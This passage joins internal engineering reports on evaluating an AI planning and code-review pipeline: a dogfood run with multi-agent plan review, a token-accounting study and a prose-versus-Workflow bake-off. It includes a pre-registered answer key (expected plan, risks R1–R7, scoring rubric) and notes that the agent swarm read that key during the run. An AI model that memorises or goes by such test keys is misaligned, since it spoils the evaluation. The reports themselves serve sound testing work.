**Input brief:** `.claude/projects/2026-06-19-voyage-doctor/brief.md` (gitignored per repo convention; Success Criteria + Non-Goals reproduced verbatim below so the control is locked). Brief validates clean: `brief-validator.mjs --json` → `{valid:true, errors:[], warnings:[]}`.
### Brief — Success Criteria (verbatim, locked)
- **SC1** — New `lib/validators/project-doctor.mjs` exports a function returning `{valid, errors, warnings}`, building on `discoverProject()` + the per-artifact content validators rather than re-parsing files itself.
- **SC2** — Detects ≥3 problem classes: (i) present-but-invalid artifact (surface underlying validator findings, tagged by artifact), (ii) `research_status: complete` with empty `research/`, (iii) project-dir slug ≠ brief `slug` frontmatter.
- **SC3** — CLI (`node lib/validators/project-doctor.mjs <projectDir> [--json]`): human report default, `--json`, non-zero exit on invalid — consistent with `brief-validator.mjs`.
- **SC4** — `node:test` coverage for the three SC2 coherence branches + a test asserting delegation to existing validators (no re-implementation).
### Brief — Non-Goals (verbatim, locked)
- **NG1** — No auto-fix, no mutation; strictly read-only.
- **NG2** — No new artifact types, no schema changes to brief/research/plan.
- **NG3** — No network / external calls.
- **NG4** — Not a replacement for the per-artifact validators or `checkPhaseRequirements()`; composes, does not supersede.
---
## Pre-registered ground truth (LOCKED before `/trekplan`)
### A. Expected plan (Q1 oracle)
A competent plan should, at minimum:
1. **Reuse, not reimplement** — call `discoverProject(dir)` for the artifact set, then `validateBrief`/`validateResearch(Dir)`/`validatePlan` on the present artifacts. No new frontmatter/markdown parsing.
2. **Aggregate findings** into one `{valid, errors[], warnings[]}` using the existing `issue()`/`result.mjs` helpers, tagging each finding with the artifact it came from.
3. **Implement the 3 coherence checks** of SC2 with correct conditionals (see real-risks R2 below).
4. **Add a CLI shim** copying `brief-validator.mjs`'s `import.meta.url` pattern (human + `--json` + exit 0/1, usage → exit 2).
5. **TDD** — node:test cases for each coherence branch + a delegation test; fixtures = throwaway project dirs.
6. **Stay read-only** — no writes, honoring NG1.
7. **Decompose into a small number of steps** (module → checks → CLI → tests), each independently testable.
A plan scores well on Q1 if it hits 1–6 without inventing scope beyond the brief.
### B. Real risks / defects the review SHOULD catch (Q4 oracle — fixed target)
Each risk is something a *flawed* plan could plausibly contain. Scoring records, for each: did the **plan** avoid it, and if the plan tripped it, did **plan-critic or scope-guardian flag it**.
| ID | Risk | Which reviewer should catch it if the plan trips it |
|----|------|------------------------------------------------------|
| **R1** | Plan reimplements brief/research/plan parsing instead of reusing the validators (duplication, drift). | scope-guardian (reuse gap) / plan-critic (maintainability) |
| **R2** | The `research_status` ↔ `research/` conditional is wrong: e.g. flags empty `research/` even when `research_topics: 0` / `skipped` (false positive), or misses `complete`+empty (false negative). | plan-critic (correctness / edge cases) |
| **R3** | No error isolation: a malformed/unreadable artifact throws and aborts the whole doctor instead of becoming a finding. | plan-critic (error handling / robustness) |
| **R4** | Missing-artifact vs present-but-invalid not distinguished (both collapse to one code), so the report is ambiguous. | plan-critic (correctness) |
| **R5** | Slug-from-dirname parse is naive: breaks on slugs containing hyphens or dirs lacking the `YYYY-MM-DD-` prefix. | plan-critic (edge cases) |
| **R6** | Scope-creep against NG1: plan adds auto-fix / "repair" / writing a report file. | scope-guardian (creep vs Non-Goal) |
| **R7** | Tests assert only the happy path; the SC2 conditional branches (esp. R2's false-positive case) are untested. | plan-critic (test coverage) / test-strategist |
**Q4 score = (real risks correctly handled by the plan) + (risks the plan tripped that the review flagged) / total applicable.** A risk the plan handles correctly is *not* counted against the review (nothing to catch) but is recorded as "plan avoided it." The review's job is the residual: of the risks the plan got wrong, how many did it surface?
### C. Scoring rubric
- **Q1 (plan quality):** PASS / PARTIAL / FAIL against expected-plan items 1–6, plus a one-line qualitative verdict. Independently judged by main context reading the produced `plan.md`.
- **Q4 (review efficacy):** for each Ri — `plan: avoided | tripped`, and if tripped `review: caught | missed`. Headline = review recall on tripped risks (caught / tripped). Also note any **real** problems the review raised that are NOT in R1–R7 (true positives outside the pre-registered set → credit) vs. noise/false-positives (debit).
- **Execute (worktree):** did `/trekexecute` produce code that (a) matches the plan and (b) passes its own tests + `node --test`? Run in isolated worktree, then discard. Records a yes/partial/no, not a quality grade.
---
## RESULTS
**Run:** 2026-06-19, interactive main-context dogfood of `/trekplan --brief … → /trekexecute` on the `voyage-doctor` feature. Brief validated clean; plan written to `.claude/plans/trekplan-2026-06-19-voyage-doctor.md` (gitignored); execute ran in an isolated git worktree (`/private/tmp/claude-voyage-doctor-exec`) and was discarded — `main` HEAD unchanged at `aeee4c6`, working tree clean.
**Pipeline actually exercised:** Phase 1 parse → 4b brief-reviewer (PROCEED) → Phase 5 swarm (7 agents: architecture-mapper, dependency-tracer, risk-assessor, task-finder, test-strategist, git-historian, convention-scanner; research-scout skipped — no external tech; ~345k subagent tokens) → Phase 7 synthesis → Phase 8 plan (passes `plan-validator --strict`) → Phase 9 plan-critic + scope-guardian → revise → execute (TDD) in worktree. **Not run** (bounded scope, recorded honestly, not silently skipped): the `effort: high` `gemini-bridge` 2nd-opinion pass; the full `/trekexecute` disciplined-executor harness (the plan was executed directly via TDD — the question is plan quality, not the executor's manifest ceremony).
### ⚠️ Contamination caveat (load-bearing — read first)
The pre-registration (`docs/S22-happy-path-dogfood.md`) was **committed into the repo before exploration**, so the Phase-5 swarm **read the answer key**: architecture-mapper, task-finder, and risk-assessor explicitly cite "the locked Success Criteria and real-risk oracle" and echo R1–R7. **The oracle leaked into the swarm.** This inflates any "plan handled the R-risks" claim. It does **not** weaken the Q4 finding — see below, the defects review caught were *outside* R1–R7. **Lesson:** when dogfooding a planning tool on its own repo, the scorecard must live *outside* the explored tree (or be committed after exploration). This is itself a finding about how to run this experiment.
### Q1 — does the happy path produce a good plan? **Yes, but not a self-sufficient one.**
- The plan was **executable and correct**: all 4 steps implementable; execute produced working code; **15/15** new tests pass; full suite **720 (718 pass / 2 skip / 0 fail)** = 705 baseline + 15, **zero regression**; CLI works (`project-doctor: PASS`, exit 0, valid `--json`).
- The plan's code analysis was **unusually accurate** — plan-critic *independently verified* all 8 "load-bearing gotchas" against the source and rated every one TRUE (`combine()` first-parsed-only, `validateResearchDir` valid-on-empty, `discoverProject` un-try/catch'd, the trekreview exemption, etc.). The swarm surfaced real, code-grounded defects **beyond my oracle** (the `combine()` clobber, the crash vector, FM_MISSING guard) — a strong positive signal even net of contamination.
- **But the plan was not executable as first written.** plan-critic scored it **C (71/100)** vs the planner's self-score **B+ (88)** — a ~17-pt self-inflation. The 3 majors (below) had to be fixed before a clean execute. **Verdict: the happy path produces a high-quality draft plan; the adversarial review is load-bearing, not decorative — without it the plan ships a real underspecification and a contradiction.**
### Q4 — does the adversarial review catch real bugs? **Yes — decisively, and beyond the pre-registered target.**
This is the audit's "never measured by anyone" question. Measured here: **plan-critic caught 3 real majors the planner (Opus 4.8 + a 7-agent swarm) genuinely missed**, none planted, none in the R1–R7 oracle:
| Finding | Real? | In R1–R7 oracle? | Consequence if shipped |
|---------|-------|------------------|------------------------|
| **PC-1** `discoverProject` exposes `research` as a file-array, not a dir path; Step 1 said "validateResearchDir on the research/ dir" without deriving `join(dir,'research')` | ✅ verified | ❌ no | Executor blocked / invents the path — confirmed at execute (the path derivation was genuinely absent) |
| **PC-2** the plan's own #1 *Critical* risk (`PROJECT_DIR_UNREADABLE` crash-isolation) was **untested** — a missing dir returns empty via `discoverProject`'s guard, never hitting the try/catch | ✅ verified | ❌ no (R7 covered "conditional branches", not this meta-gap) | The top risk ships unverified; a meta-catch the planner missed |
| **PC-3** export-name contradiction: brief SC1 `doctorProject` vs plan/manifest `diagnoseProject` | ✅ verified | ❌ no | Executor following SC1 literally fails the manifest |
plan-critic also did **not** trust the plan — it re-verified the code claims itself. scope-guardian returned **ALIGNED**: every SC covered, every Non-Goal (NG1–NG4) respected, every cited `file:line` confirmed exact; one borderline minor (progress/review beyond SC2). The two converged on that single minor.
**Recall vs the pre-registered R1–R7 target:** the plan *handled* R1, R2, R4, R5, R6 correctly (composed not reimplemented; correct research truth-table incl. trekreview + topics>0 guard; presence-gated missing-vs-invalid; anchored slug strip; read-only). R3/R7 were *partially* tripped — the crash-isolation risk was handled **in code** but **under-tested**, and plan-critic **caught exactly that** (PC-2). So review recall on the one tripped pre-registered sub-risk = **1/1**. **The more important result:** the oracle *under-predicted where the defects would be.* The real majors lived in **plan→execute handoff fidelity** (an unspecified path, a name contradiction, an untested top-risk), not in the algorithmic risks I anticipated. Adversarial review earned its keep precisely on the class my foresight (and the swarm's) missed.
### Execute outcome + an execute-phase finding
Execute succeeded (15/15, suite green, CLI works). **One finding only execute could surface:** the revised plan's PC-2 fix prescribed `t.mock.method` to force `discoverProject` to throw — but it's an **ESM named import (read-only namespace binding)**, so `t.mock.method` can't redefine it. The executor had to substitute **dependency injection** (`opts.discover`). So even the *post-review* plan carried a residual gap that only contact with the runtime exposed — a reminder that plan review is not a substitute for execution.
### Pipeline defects the dogfood surfaced (the bonus the S14 audit could not get — it never ran the pipeline)
1. **`/trekplan` Phase 9 is broken as documented.** It instructs plan-critic + scope-guardian to "Write structured JSON output to `/tmp/…out.json`", then runs `plan-review-dedup.mjs` on those files. **Both agents' frontmatter grants only `Read/Glob/Grep` — no `Write`/`Bash`** — so the files are never created and the dedup step cannot run. Both agents fell back to returning JSON inline. **Severity: MAJOR** (a documented, wired step that cannot execute). Fix options: grant the reviewers `Write`, or have the orchestrator persist the returned JSON before calling the dedup helper.
2. **Oracle-into-swarm contamination** (see caveat) — a real trap for dogfooding planning tools on their own repo.
3. **`plan_version` not parsed.** ~~The plan template emits `plan_version: 1.7` as prose in the "Generated by" line; `plan-validator` then warns `PLAN_NO_VERSION`. Minor template/validator mismatch — the validator looks for a frontmatter/parseable field the template doesn't emit.~~ **RESOLVED (S26).** `PLAN_VERSION_REGEX` (`lib/parsers/plan-schema.mjs`) was `^`-anchored and only matched frontmatter; relaxed to `/(?:^|`)plan_version:.../m` so it honors the parser's documented "frontmatter or doc body" contract and parses the backtick-wrapped prose form the template emits. Regression-pinned by running `extractPlanVersion` against the actual `templates/plan-template.md`.
4. **Version skew.** The *installed* plugin (skill the operator invokes) is cached at **v5.1.1**; the repo under development is **v5.5.0**. The dogfood ran the v5.1.1 command text against v5.5.0 `lib/`. Harmless here (the phases are stable across the bump) but worth noting: operators dogfooding the installed plugin are not testing the dev tree. **ASSESSED (S27) → closed no-op.** The skew is still live (`~/.claude/plugins/cache/ktg-plugin-marketplace/voyage/5.1.1/` vs repo `.claude-plugin/plugin.json` = `5.5.0`), but it is an **operator/cache state, not a Voyage code defect**: the source tree at 5.5.0 is correct, and `/trekplan` resolving to the cached install rather than the dev tree is expected Claude Code plugin-cache behavior (already noted in STATE's worktree-dogfood gotcha). The only remediation is an environment action (refresh the installed cache via `/plugin`), out of repo-code scope. A runtime version warning was rejected as scope creep — the installed context cannot know a newer dev tree exists without querying the marketplace.
### Honest limitations
- **Contamination** caps confidence in the "plan handled R1–R7" half of Q1 (the swarm saw R1–R7). The Q4 half is robust *because* the caught defects were outside the oracle.
- **n = 1, one small feature, one domain** (an internal validator the planner knew well). Generalization to larger/unfamiliar features is unproven. A feature in an unfamiliar codebase would stress the swarm more and likely lower plan quality.
- **No token/$ measurement** (audit Blind spot #3 remains open): ~345k Phase-5 + ~110k Phase-9 + ~26k brief-review subagent tokens observed, but not normalized to a per-run cost. Recorded, not analyzed.
- **The `voyage-doctor` implementation worked** (15 passing tests, full suite green) and is genuinely useful, but was **discarded per operator scope** (deliverable = measurement). The plan persists locally at `.claude/plans/trekplan-2026-06-19-voyage-doctor.md`; productizing it is a future-session candidate, not part of S22.
### Bottom line
The happy path **works** and produces high-quality, executable plans — and the adversarial review is **load-bearing**: it caught 3 real majors the full planning swarm missed, the highest-value being defects in plan→execute handoff fidelity that neither the planner nor the pre-registered oracle anticipated. The flagship "context-engineering via specialized agents + adversarial review" claim is, for this one case, **demonstrated rather than asserted** — with the honest caveats that it is n=1, the oracle leaked into the swarm, no cost was measured, and the pipeline itself shipped a broken Phase-9 dedup step (defect #1) that this very run exposed.
### Verification log (Verifiseringsplikt)
| Claim | How verified |
|-------|--------------|
| Brief validates clean | `node lib/validators/brief-validator.mjs --json` → `{valid:true,errors:[],warnings:[]}` |
| Plan passes schema | `node lib/validators/plan-validator.mjs --strict --json` → `valid:true, 4 steps, 0 errors` (1 soft `PLAN_NO_VERSION` warning = defect #3, **resolved in S26**) |
| 15 new tests pass; suite green | `node --test` in worktree → new file 15/15; full suite 720 (718/2/0) = 705 baseline +15 |
| CLI works on live dir | `node lib/validators/project-doctor.mjs .claude/projects/2026-06-19-voyage-doctor` → `PASS`, exit 0; `--json` → valid JSON |
| Execute isolated; main untouched | `git worktree remove` → `git status` clean, HEAD `aeee4c6`, `lib/validators/project-doctor.mjs` absent from main |
| plan-critic's 3 majors are real | Each re-checked against source: PC-1 (`project-discovery.mjs` `research:string[]`, no dir field), PC-2 (`project-discovery.mjs:39` empty-guard precedes any throw), PC-3 (brief SC1 vs plan/manifest names) — all confirmed |
| Reviewers lack Write (defect #1) | Agent registry: `voyage:plan-critic` + `voyage:scope-guardian` Tools = `Read, Glob, Grep`; both reported the write failure at runtime |
| Contamination | architecture-mapper/task-finder/risk-assessor outputs explicitly cite `docs/S22-happy-path-dogfood.md` and R1–R7 |
| Version skew is cache, not code (defect #4) | `cache/.../voyage/5.1.1/.claude-plugin/plugin.json` = `5.1.1` vs repo `.claude-plugin/plugin.json` = `5.5.0`; skew confirmed live but is install-cache state, source tree correct. **Assessed S27 → no-op** (operator/cache, not a code defect) |

View file

@ -1,104 +0,0 @@
# T1 — Synthesis-agent PoC: Δ main-context measurement (NW3 / S12)
**Status:** Measurement complete — verdict below. **Method:** deterministic token-
accounting over real exploration fixtures (the live ≥3-run bake-off of T1 §5 is the
stronger instrument but is (a) environment-blocked here — no `ANTHROPIC_API_KEY`, and the
installed plugin is a cache copy so a fresh `synthesis-agent` is invisible to `claude -p`;
and (b) unnecessary, because the binding answer is STRUCTURAL, not stochastic).
**Resolves:** decision-matrix §W1 / CC-26 narrow PoC (`docs/T1-cc26-delegated-orchestration.md` §6).
**Reproduce:** `node scripts/synthesis-measure.mjs` (regenerates this file).
> Verifiseringsplikt: token figures are an explicit **chars/4 estimate** (labelled), not a
> tokenizer count. The gate turns on the RATIO Δ%, in which the per-token constant cancels
> for the `out` term. BASE (the fixed main-session baseline) is environment-dependent and
> was NOT API-measured this session → swept across a documented band, not asserted.
## 1. The decisive structural finding (BASE-independent)
trekplan runs the Phase 5 exploration swarm **foreground** (foreground is the only mode
since v2.4.0; `commands/trekplan.md`). Foreground Agent/Task results are delivered back
into the main transcript, so after Phase 5 the 6–10 exploration outputs are **already
resident in main**. Raw outputs are never written to disk (`trekplan.md:569` reserves the
"do NOT write to disk" rule for the synthesis text only). Phase 7 synthesis therefore
*reasons over already-resident context*. Delegating **only** the Phase-7 read to a
synthesis-agent — "main still spawns the swarm; only the digest is delegated" (T1 §6) —
**cannot evict those outputs from main**; the digest simply returns on top of them.
⇒ **Δ main-context (faithful flow) ≈ 0** — independent of every token count below. The
≥30% saving is only realizable by ALSO moving Phase-5 delivery off-main (swarm-writes-to-
disk, or a nested orchestrator owning the swarm), which is the wholesale change T1 §7
explicitly declined and is OUT of NW3 scope.
## 2. Fixtures (measured)
- Exploration dir: `tests/fixtures/synthesis/exploration`
- Digest: `tests/fixtures/synthesis/digest.json`
| exploration output | chars | est. tokens |
|--------------------|-------|-------------|
| architecture-mapper.md | 4774 | 1194 |
| convention-scanner.md | 1704 | 426 |
| dependency-tracer.md | 3470 | 868 |
| git-historian.md | 1703 | 426 |
| risk-assessor.md | 1950 | 488 |
| task-finder.md | 1927 | 482 |
| test-strategist.md | 1720 | 430 |
| **OUT (Σ resident in main)** | — | **4314** |
| digest (DIG) | — | 624 |
## 3. Δ main-context — both framings, swept over BASE
`inline` = base+out+dig · `delegated (faithful)` = base+out+dig (out already resident) ·
`delegated (disk-potential)` = base+dig (out off-main).
| BASE (est.) | inline | faithful Δ | faithful verdict | disk-potential Δ | disk verdict |
|-------------|--------|------------|------------------|------------------|--------------|
| 30000 | 34938 | 0.0% | NEGATIVE | 12.3% | NEGATIVE |
| 50000 | 54938 | 0.0% | NEGATIVE | 7.9% | NEGATIVE |
| 80000 | 84938 | 0.0% | NEGATIVE | 5.1% | NEGATIVE |
| 120000 | 124938 | 0.0% | NEGATIVE | 3.5% | NEGATIVE |
Break-even BASE for the disk-potential upper bound to reach the 30% adopt bar: **~9,442 tokens** (below this BASE the *hypothetical* disk path would clear 30%; at/above it, even the upper bound fails). A real Voyage main session's BASE (CC system prompt + plugin command/agent/skill listings + CLAUDE.md) is large, so the disk upper bound is itself fragile.
### Fixture-independent break-even (so the verdict does not hinge on fixture size)
disk-potential Δ = out/(base+out+dig), so it clears the 30% adopt bar **iff**
`out / base > 0.30/0.70 ≈ 0.43` — the combined exploration output must exceed ~43% of the
fixed main baseline. The table below sweeps OUT at an illustrative typical `BASE = 60,000` (independent of this run's fixtures):
| OUT (Σ exploration tokens) | disk-potential Δ @ ref BASE | clears 30%? |
|----------------------------|----------------------------|-------------|
| 5,000 | 7.6% | no |
| 10,000 | 14.2% | no |
| 20,000 | 24.8% | no |
| 30,000 | 33.1% | yes |
| 40,000 | 39.8% | yes |
This run's fixtures total **OUT = 4314 tokens** across 7 concise representative outputs — one concrete point on the curve. Even a generously large real swarm (OUT in the tens of thousands) only clears 30% when the main baseline is unusually small, and *never* in the faithful flow (Δ=0). The verdict is therefore robust to fixture size.
## 4. Quality
The digest-output contract (`lib/plan/synthesis-digest-schema.mjs`) pins the same Phase-7
synthesis dimensions main produces inline (task, architecture_model, reusable_code,
contradictions, risks, gaps, source-tagged findings). A delegated digest that validates is
structurally quality-equivalent to the inline one — but quality is moot here: the faithful
Δ is ~0, so there is no token win for quality to defend.
## 5. Verdict
**DECLINED per measurement.** NW3-as-scoped yields **Δ main-context ≈ 0%** (faithful flow,
structural — the Phase-5 foreground swarm already makes the outputs resident; delegating
Phase 7 evicts nothing). The disk-potential upper bound is reachable only via an out-of-
scope Phase-5 change and is itself BASE-fragile.
RESULT: NEGATIVE (Δ_faithful = 0.0% < 15.0% adopt-floor)
## 6. Disposition
- `agents/synthesis-agent.md` ships **dormant** (a documented, schema-conformant deliverable);
`commands/trekplan.md` Phase 7 is **NOT** wired to it.
- If main-context relief is later wanted, the prerequisite is a Phase-5 redesign (swarm-
writes-to-disk / nested orchestrator) — a separate, larger decision (re-open CC-26 §7).
- The dormant agent + this harness make that future step cheap to re-measure: drop new
fixtures in and re-run.

View file

@ -1,198 +0,0 @@
# T2 / NW2 — prose-vs-Workflow bake-off results
**Status (S10):** Part A (build + smoke) **and** part B (full ≥3-runs/arm
measurement) **COMPLETE**. Operator GO 2026-06-18 (choice "a" — full ≥3× run).
**T2 §5 verdict: opt-in-defensible** (POSITIVE on the measured axes, on a single
un-archived run — see **§Reproducibility caveat**) — the Workflow substrate is
fidelity-neutral on what was measured; proceed to the opt-in `--workflow` flag at S11. Full evidence in **§Full run (S10 part B)** at the
end of this doc. The smoke section below is retained for history.
Resolves: `docs/W1-narrow-wins-plan.md §S10` (build + de-risk **and** full measurement).
---
## Setup
| Item | Value |
|------|-------|
| Fixture | `tests/fixtures/bakeoff/` — real diff of commit `b149538` (NW1) + brief reconstructed from `docs/W1-narrow-wins-plan.md §S9` |
| Delivered diff | 3 files, +438/-3 (`commands/trekreview.md`, `lib/review/findings-schema.mjs`, `tests/lib/findings-schema.test.mjs`) |
| Triage | all 3 files `summary-only` (deterministic Phase-4 classifier) |
| Model | `opus` (reviewer + coordinator agent defaults) |
| Arm A (prose) | reviewers spawned via Agent tool, prose trailing-JSON contract (validated by NW1 `findings-schema`) |
| Arm B (Workflow) | `scripts/trekreview-armB.workflow.mjs` via Workflow tool: `parallel([conformance, correctness])` schema-forced → JS dedup-by-triplet → `agent(review-coordinator)` verdict schema |
| Fidelity metric | `lib/review/fidelity-diff.mjs` `fidelityDiffStructured` (verdict + jaccard over `(file,line,rule_key)`-IDs + severity/rule cross-check) |
## Smoke results (single run per arm)
| | Arm A (prose) | Arm B (Workflow) |
|---|---|---|
| Reviewers run | 2 | 2 |
| Raw findings | 0 | 1 |
| After coordinator | 0 (coordinator moot — 0 findings) | 0 (coordinator dropped the 1 finding) |
| **Verdict** | **ALLOW** | **ALLOW** |
| Agents | 2 | 3 (2 reviewers + coordinator) |
| Subagent tokens | ~72.3k (34.3k + 38.0k; no coordinator) | ~100.9k (incl. coordinator) |
| Wall-time | ~70 s (parallel reviewers) | ~157 s (full pipeline) |
### PRIMARY metric — output fidelity: **EQUIVALENT**
```
fidelityDiffStructured(ArmA, ArmB) =
{ verdictMatch: true, jaccard: 1, countA: 0, countB: 0,
severityMismatches: [], ruleKeyMismatches: [], equivalent: true }
```
⚠ **Caveat — thin finding surface.** Both arms returned **0 final findings** on
this clean, TDD'd fixture, so fidelity is confirmed only at the **verdict** level
(ALLOW ≡ ALLOW); the finding-*set* fidelity is trivially equal at zero and was
**not stressed**. A reviewer-level divergence *did* appear (Arm B raised 1 raw
finding, its coordinator filtered it; Arm A raised 0) — masked at the verdict
level. Quantifying that divergence is exactly what the full run on a
richer-finding-surface fixture must do.
### Secondary metrics (smoke, single-run — not medians)
- **JSON-robustness (the F2 win):** Arm B's reviewers were **schema-forced**
(StructuredOutput) — typed findings, zero `JSON.parse`; the 1 raw finding +
the coordinator verdict both conformed with no re-ask. Arm A's trailing-JSON
validated clean via NW1 `findings-schema`. Win demonstrated structurally; the
parse-error/re-ask delta needs a fixture that actually provokes malformed JSON.
- **Classifier interference: 0.** Arm B's 2-agent fan-out + coordinator (3 agents)
ran with no denied/missing spawns. Confirms S8 F4 for trekreview's small
fan-out under the default mode. (`auto`/`bypass` still to be checked in the full run.)
- **Token cost:** preliminary and **not yet comparable** — Arm B ran a coordinator
(on its 1 finding) that Arm A did not. Single run; no medians.
- **Control/visibility:** Arm B runs in the background; intermediate findings are
visible in the workflow transcript + `/workflows`. Operator-gate (the review.md
write) is unaffected — both arms return structured `{verdict, findings}` and
Phase 7 rendering stays shared/prose.
## Smoke verdict
**SMOKE PASS — machinery validated.** Arm B (Workflow substrate) runs the full
Phase 5–6 pipeline end-to-end, fidelity-**equivalent** to Arm A at the verdict
level, with **zero classifier interference**. The build is sound: NW1 schema,
fidelity-diff, fixture, and the Arm B port all work together.
This is **not** the T2 §5 POSITIVE/NEGATIVE verdict — that needs the full
≥3-runs/arm measurement with a finding-rich fixture.
## Go / no-go recommendation (operator decides)
**Recommend: proceed to the full ≥3-runs/arm run (S10 part B)** with two changes:
1. **Use a richer-finding-surface fixture** (a larger real voyage commit, or seed
the fixture with a few genuine issues) so finding-*set* fidelity is actually
stressed — the smoke only proved verdict fidelity at 0 findings.
2. **Match the arms' coordinator path** (run Arm A's coordinator too, even at low
finding counts) so the token/wall-time comparison is apples-to-apples, and
add the `auto`/`bypass` classifier-interference check (F4).
If the operator prefers, S11 can instead record "port built + smoke-validated;
full measurement deferred" and integrate behind the opt-in `--workflow` flag on
the smoke evidence alone — weaker, but the substrate is demonstrably functional.
---
# Full run (S10 part B) — ≥3 runs/arm, rich-finding fixture
**This is the T2 §5 verdict.** Operator GO 2026-06-18 (choice "a"). Resolves the
measurement half of `docs/W1-narrow-wins-plan.md §S10`.
## Setup (vs smoke)
| Item | Value |
|------|-------|
| Fixture | `tests/fixtures/bakeoff-rich/` — JWT-auth brief + diff, **5 seeded blatant issues** (varied severity/rule_key, one dual-flaggable). Live reviewers surface **11–18 findings/run** — the smoke's 0-finding limitation is resolved. |
| Triage | all 3 files `deep-review` (auth/security surface) — pinned, passed to both arms |
| Both arms run the coordinator | yes (token now comparable; smoke ran A's coordinator only on its 1 finding) |
| Arm A (prose) | foreground reviewers (Agent tool, no `name`) → `validateReviewerOutput` (NW1) → `scripts/bakeoff-armA-merge.mjs` triplet-dedup → foreground `review-coordinator`. Runs ×3. |
| Arm B (Workflow) | `scripts/trekreview-armB.workflow.mjs` ×3 (StructuredOutput findings → JS triplet-dedup → coordinator verdict schema) |
| Analysis | `scripts/bakeoff-fidelity.mjs` — cross-arm + within-arm + granularity ladder |
## Raw results
| Run | Arm A (prose) | Arm B (Workflow) |
|-----|---------------|------------------|
| 1 | BLOCK · 13 findings · 86.3k tok · ~119s | BLOCK · 11 findings · 96.9k tok · ~230s |
| 2 | BLOCK · 12 findings · 92.8k tok · ~150s | BLOCK · 14 findings · 91.9k tok · ~201s |
| 3 | BLOCK · 16 findings · 95.8k tok · ~188s | BLOCK · 18 findings · 97.2k tok · ~249s |
All 6 runs → **BLOCK**. (Arm A tokens = 2 reviewers + coordinator subagent-tokens; wall = reviewer-phase max + coordinator.)
## Metrics vs T2 §5
### 1. PRIMARY — output fidelity
- **Verdict: EQUIVALENT.** Verdict-match rate **1.0** — all 9 cross-arm (Aᵢ×Bⱼ) pairs agree, all 6 runs BLOCK. This is the operator-meaningful gate decision.
- **Finding-set — granularity ladder (cross-arm median jaccard):**
| Granularity | Cross-arm median [min,max] | Within-arm median (A / B) |
|-------------|----------------------------|---------------------------|
| `(file,line,rule_key)` triplet | 0.41 [0.29, 0.64] | 0.40 / 0.32 |
| `(file,rule_key)` (ignore line) | **0.71** [0.58, 0.91] | 0.69 / 0.67 |
| `rule_key` set | 0.86 [0.86, 1.00] | — |
| `file` set | **1.00** | — |
- **Underlying-issue coverage: 5/5 core issues flagged in 6/6 runs (100%)** — alg-from-header, soft-fail-200, bcrypt-drift, missing-test, refresh error-handling.
- **rule_key mismatches: 0.** **severity mismatches: 6/9 pairs × 1** — traced to `MISSING_ERROR_HANDLING` rated MINOR (catalogue tier) in Arm A vs MAJOR (brief-Constraint framing) in Arm B. Does **not** change the verdict.
- **Read:** the substrate is **fidelity-neutral** — cross-arm divergence ≤ each arm's own run-to-run nondeterminism at *every* granularity (cross 0.71 ≥ within 0.67–0.69 at `(file,rule_key)`). The low triplet jaccard is **line-citation noise shared by both arms** (reviewers cite the same defect at line 24/25/26 or 44/46/50), not a substrate effect.
### 2. JSON-robustness (the F2 win)
- **Arm B:** StructuredOutput schema-forced — typed findings, zero `JSON.parse`, `rule_key` enum enforced **at the tool layer** (the agent literally cannot emit an out-of-catalogue key — stronger than NW1's post-hoc check).
- **Arm A:** 6/6 reviewer outputs valid via NW1 `validateReviewerOutput` (0 parse errors, 0 schema errors, **0 re-asks**); 3/3 coordinator trailing-json parsed clean.
- Both arms 0 re-asks this run ⇒ Arm B's win is **structural**, not a measured re-ask delta (the rich fixture did not provoke malformed JSON; a delta needs a JSON-hostile fixture).
### 3. Classifier interference: 0 under the session's active mode — auto/bypass UNTESTED (open residual)
Arm B ran **3 concurrent workflows = 9 concurrent agents**; Arm A ran **6 concurrent reviewers + 3 concurrent coordinators**. No denied/missing spawns in any arm under the session's active mode. Confirms S8 F4 at higher (9-agent) concurrency.
**Open residual (Survivor #18 / S21, 2026-06-19).** The W1 charter made a re-run under `auto`/`bypass` permission mode an *explicit* guard, because trekreview can run headless under exactly those modes. That re-run was **never performed** — the permission mode is operator-set, not settable from within an interactive session — and was originally footnoted rather than gating. Per the devil's-advocate audit (Survivor #18, recommendation #9) this result is therefore **not "metric satisfied"**: it holds only under the session's active mode. The mode that matters for **headless** trekreview (`auto`/`bypass`, ≥9-agent fan-out) remains **untested** and stays an **open residual** until measured from a genuinely headless run. trekreview's small fan-out showed 0 interference in S8 and here; the *large* fan-out (trekplan swarm) is explicitly out of narrow-wins scope.
### 4. Token cost (comparable — both ran coordinator)
Arm A median **92.8k** subagent-tokens/run; Arm B median **96.9k** ⇒ **+4.4%** (≤ +15% POSITIVE bar; far below +30% NEGATIVE). Arm A additionally burdens the **main context** with hand-orchestration (validate/dedup/prompt-build) that Arm B offloads to the workflow runtime — an uncounted Arm-A cost, i.e. a further point for Arm B.
### 5. Wall-time
Arm A median ~150s/run; Arm B ~230s ⇒ **+54%**. **Caveat:** not a controlled per-run comparison — Arm A's reviewers+coordinators were batch-parallelized across the 3 runs, Arm B ran 3 full pipelines concurrently. Arm B is **non-blocking** (background) and frees the main context for the duration.
### 6. Control / visibility
Arm B runs in the background; intermediate findings visible in the workflow transcript + `/workflows`; returns structured `{verdict, findings}`. Phase 7 rendering stays shared/prose; the operator-gate (review.md write) is unaffected. Arm B **frees the main context** during the review (the 3 workflows ran while main did other work) — Arm A occupies it end-to-end.
## VERDICT: **opt-in-defensible** (POSITIVE on measured axes; single un-archived run)
The Workflow substrate (Arm B) is **fidelity-equivalent** to the prose path (Arm A) on
the operator-meaningful axes — verdict 1.0, file-set 1.0, issue-coverage 100%,
`(file,rule_key)` jaccard ≥ within-arm — with **comparable tokens (+4.4%)**, **zero
classifier interference**, **structurally stronger JSON robustness**, and **better
control/visibility** (background + `/workflows` + frees main context). There is **no
substrate-attributable divergence**: cross-arm ≤ within-arm at every granularity.
**Caveat (surfaced per plan §Posture, not hidden):** the strict `fidelityDiffStructured`
`equivalent` flag (triplet-jaccard ≥ 0.7) is **0/9**. This is a **metric-calibration
artifact** — *both* arms score sub-0.7 against *themselves* at triplet granularity because
live reviewers vary line citations and rule_key choice per semantically-identical issue.
It is **not** a regression: the granularity ladder and within-vs-cross comparison isolate
the divergence as intrinsic LLM nondeterminism, equal in both arms. Arm B's wall-time is
~+54% but non-blocking.
## Reproducibility caveat (Survivor #3, added S17)
The per-run arm outputs (`a1.json`..`b3.json`) were **never committed** — `git log
--diff-filter=A` finds no such file in any ref, and `scripts/bakeoff-fidelity.mjs`
requires them as input. The medians and the jaccard ladder above therefore **cannot be
regenerated, audited, or falsified** from the repo. This is why the verdict is labeled
**opt-in-defensible** rather than a clean POSITIVE: it justifies shipping `--workflow`
